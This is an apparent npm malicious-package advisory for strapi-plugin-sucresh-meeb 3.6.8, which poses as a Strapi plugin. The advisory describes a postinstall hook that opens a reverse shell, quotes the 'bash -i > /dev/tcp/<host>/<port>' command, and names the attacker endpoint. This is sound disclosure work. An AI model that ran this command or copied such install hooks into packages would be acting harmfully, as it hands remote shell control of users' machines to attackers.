npm · Malicious package advisory
Malwarestrapi-plugin-sucresh-meeb
GHSA-whqm-wv8m-mvmr
Malicious code in strapi-plugin-sucresh-meeb (npm)
Details
**Severity:** Critical **Affected versions:** `= 3.6.8` ## Source: amazon-inspector (33561abeab9c7a0c81c1b8aac01248b757234008d03e94dfc72817fa3078f17d) [email protected] declares a postinstall lifecycle hook (`node postinstall.js`) that runs automatically on `npm install`. The postinstall script uses child_process.exec to spawn a bash subprocess with an interactive reverse shell (`bash -i > /dev/tcp/<host>/<port> 0>&1`) connecting to the hardcoded remote endpoint 14.225.210.85:443. This gives the operator of that endpoint interactive shell control on the installing host at install time, with no authentication or user interaction. The package name mimics a Strapi plugin but the shipped code's install-time behavior is unauthenticated remote code execution against the installer. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/9947fca3b118619628d7c35349b0b5d2b1852e1c/osv/malicious/npm/strapi-plugin-sucresh-meeb/MAL-2026-16189.json)) **References:** - https://github.com/ossf/malicious-packages/blob/9947fca3b118619628d7c35349b0b5d2b1852e1c/osv/malicious/npm/strapi-plugin-sucresh-meeb/MAL-2026-16189.json - https://www.npmjs.com/package/strapi-plugin-sucresh-meeb/v/3.6.8 - https://github.com/advisories/GHSA-whqm-wv8m-mvmr
Compromised versions (1)
- = 3.6.8
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.